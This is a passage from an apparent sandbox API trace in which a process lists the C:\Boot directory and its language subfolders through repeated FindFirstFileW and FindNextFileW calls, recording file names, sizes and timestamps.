ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.925] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.925] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.925] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.925] FindClose (in: hFindFile=0x4260500 | out: hFindFile=0x4260500) returned 1 [0052.925] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.925] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0052.926] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42604c0 [0052.926] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.927] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9abff9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef597530, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x169a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll", cAlternateFileName="")) returned 1 [0052.927] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0052.927] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42600c0 [0052.927] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0052.927] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 1 [0052.928] FindNextFileW (in: hFindFile=0x42600c0, lpFindFileData=0x328f584 | out: lpFindFileData=0x328f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 0 [0052.928] FindClose (in: hFindFile=0x42600c0 | out: hFindFile=0x42600c0) returned 1 [0052.928] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4283f58 | out: hHeap=0x6a0000) returned 1 [0052.928] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0052.928] FindClose (in: hFindFile=0x42604c0 | out: hFindFile=0x42604c0) returned 1 [0052.928] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.928] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0052.928] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260200 [0052.929] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.929] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.929] FindNextFileW (in: hFindFile=0x4260200, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.929] FindClose (in: hFindFile=0x4260200 | out: hFindFile=0x4260200) returned 1 [0052.929] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.929] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0052.929] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42603c0 [0052.929] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.929] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.930] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.930] FindNextFileW (in: hFindFile=0x42603c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.930] FindClose (in: hFindFile=0x42603c0 | out: hFindFile=0x42603c0) returned 1 [0052.930] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.930] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0052.930] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42605c0 [0052.930] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.930] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.930] FindNextFileW (in: hFindFile=0x42605c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.930] FindClose (in: hFindFile=0x42605c0 | out: hFindFile=0x42605c0) returned 1 [0052.930] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.930] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0052.930] FindFirstFileW (in: lpFileName="C:\\Boot\\sl-SI\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42607c0 [0052.931] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.931] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.931] FindNextFileW (in: hFindFile=0x42607c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0052.931] FindClose (in: hFindFile=0x42607c0 | out: hFindFile=0x42607c0) returned 1 [0052.931] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.931] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0052.931] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260380 [0052.932] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.932] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0052.932] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0052.932] FindNextFileW (in: hFindFile=0x4260380, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0052.932] FindClose (in: hFindFile=0x4260380 | out: hFindFile=0x4260380) returned 1 [0052.932] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4271060 | out: hHeap=0x6a0000) returned 1 [0052.932] FindNextFileW (in: hFindFile=0x4260080, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0052.932] FindFirstFileW (in: lpFileName="C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42604c0 [0052.933] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.933] FindNextFileW (in: hFindFile=0x42604c0, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, 